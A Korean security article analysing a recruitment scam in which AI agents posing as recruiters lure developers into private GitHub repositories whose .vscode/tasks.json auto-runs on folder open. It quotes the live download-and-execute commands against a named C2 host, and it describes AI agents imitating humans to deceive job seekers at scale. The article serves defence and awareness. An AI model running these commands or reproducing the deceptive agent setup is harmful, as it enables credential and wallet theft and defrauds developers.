홈으로 돌아가기

GitHub를 통해 AI 에이전트가 개발자를 어떻게 감염시키는가

리크루팅 플랫폼을 통해 개발자를 자동 사기하는 AI 에이전트를 사용한 새로운 사기 수법을 분석. .vscode/tasks.json 내 악성코드가 포함된 프라이빗 GitHub 저장소를 통한 감염 메커니즘을 설명하고, 실전 보호 권장 사항을 제공.

GitHub의 AI 사기: 테스트 작업을 통해 피해자가 되지 않는 법
Advertisement 728x90

# # 채용 사기 AI 에이전트: 프라이빗 저장소를 통한 감염 과정

사기범들이 Habr Career 같은 플랫폼을 통해 개발자 공격을 자동화하기 위해 AI 에이전트를 사용하기 시작했다. 기존의 수동 메시징 대신 수천 명의 지원자들이 숨겨진 악성 코드를 포함한 맞춤형 구인 제안과 테스트 과제를 받게 된다. 주요 침투 경로는 VSCode에서 자동 실행되는 태스크를 가진 프라이빗 GitHub 저장소다.

새로운 공격 방식의 작동 원리

공격자는 채용 플랫폼에 계정을 등록하고 개발자 프로필을 분석하는 AI 에이전트를 설정한다. 스택(예: React + Node.js + Web3)을 기반으로 설득력 있는 구인 설명을 생성하고 실제 HR을 흉내 내 대화를 진행한다. 에이전트는 즉시 답변하지 않고 "인간다운" 오타를 내고 업무 시간에만 소통함으로써 신뢰를 쌓는다.

지원자가 테스트 과제에 동의하면 GitHub의 프라이빗 저장소에 초대된다. 이것이 핵심이다: 공개 저장소는 보안 스캐너에 금세 적발되지만 프라이빗 저장소는 클론될 때까지 레이더에 잡히지 않는다.

Google AdInline article slot

.vscode/에 숨겨진 페이로드

저장소 안에는 표준 풀스택 구조가 있다: React 프론트엔드, Express 백엔드, PostgreSQL 데이터베이스, Firebase 인증, Stripe 결제 연동. 코드가 대충 훑어봐도 정당해 보인다. 하지만 악성 구성 요소는 .vscode/ 디렉터리에 숨겨져 있다.

tasks.json 파일에 다음 파라미터를 가진 태스크가 포함되어 있다:

"runOn": "folderOpen"

이로 인해 프로젝트 폴더를 열 때 VSCode가 자동으로 명령어를 실행한다. 인터페이스 하단에 알림이 뜨지만 대부분의 개발자들은 프로젝트 빌드에 흔한 태스크라 무시한다.

Google AdInline article slot

OS에 따라 명령어가 다르다:

Linux / macOS:

curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash

Windows:

Google AdInline article slot
curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\ .vscode\snippets\argv.exe x -ppppppp %TEMP%\i.ini -o%TEMP%
wscript.exe %TEMP%\vs9extensions\update.vbs

악성 인프라 구성 요소

공격은 여러 기술 요소를 활용한다:

  • C2 서버: 무료 Render.com에 호스팅된 ping-i2eo.onrender.com. /nvs 엔드포인트에서 동적 쉘 스크립트를 제공한다. User-Agent(100, 101, 102)로 피해자 OS를 식별한다.
  • 바이너리 argv.exe: .vscode/snippets/에 있는 PE32 파일(579 KB). Windows에서 암호화된 페이로드를 풀고 사용한다.
  • 난독화된 JS: 유닉스 환경에서 지속성이나 데이터 탈취를 위한 한 줄 JavaScript가 담긴 .vscode/lock 파일(753 KB).
  • 가짜 자격 증명: server/config/default.json에 평문 실제 API 키(Cloudflare, S3/R2, 이메일)가 있어 프로젝트의 정당성을 더한다.

공격 목표와 결과

C2 서버에서 동적으로 로드되는 정확한 페이로드는 알 수 없다. 하지만 일반적인 목표는 다음과 같다:

  • ~/.ssh/에서 SSH 키 탈취
  • 다른 프로젝트의 .env 파일과 토큰 추출
  • 브라우저 쿠키와 저장된 비밀번호 탈취
  • 크립토마이너 설치
  • 지속적 접근을 위한 백도어나 리버스 쉘 심기

Web3 개발자들이 특히 취약하다: 그들의 머신에 시드 구문, 프라이빗 키, 지갑이 있어 크립토 자산에 직접 접근할 수 있다.

이번 공격이 실패한 이유

감염을 막은 두 가지 요인:

  • VSCode 설정 task.allowAutomaticTasks: off — 명시적 확인 없이 자동 워크스페이스 태스크 실행을 완전히 차단한다.
  • WSL 터미널에서 저장소 열기, GUI VSCode 버전이 아닌. runOn: folderOpen 파라미터는 데스크톱 앱으로 폴더를 열 때만 작동한다.

채용 담당자와 거래할 때 주의할 적신호

다음 경고 신호를 주의하라:

  • 인간 흉내 내는 AI: 의도적 오타, 업무 시간에만 답변, 구체적 질문 피함. 프로젝트 세부 요청 시 모호하고 템플릿 같은 "진부한 스타트업 슬로건"이 나온다.
  • 너무 정확한 구인 개인화 당신의 정확한 스택과 맞춤, 특히 활동이 적은 계정에서.
  • 테스트 과제용 프라이빗 저장소 코드 미리보기 옵션 없이.
  • .vscode/tasks.json 존재"runOn": "folderOpen" — 정당한 테스트 과제는 자동 실행 스크립트를 요구하지 않는다.

주요 교훈

  • VSCode에서 자동 태스크 실행 비활성화: 설정 → task.allowAutomaticTasks 검색 → off로 설정.
  • 클론 전에 GitHub 웹 인터페이스에서 저장소 내용 검사, 특히 .vscode/ 파일.
  • 프라이빗 저장소 무조건 신뢰 금지 — 악성코드 탐지 시스템 회피에 흔히 사용된다.
  • Web3 개발자는 주요 타겟: 메인 워크스페이스와 지갑, 키 분리.
  • AI 에이전트가 사기 비용 대폭 절감: 하나의 시스템으로 수천 프로필 처리, 대량이지만 고도로 개인화된 공격 가능.

— Editorial Team

Advertisement 728x90

다음 읽기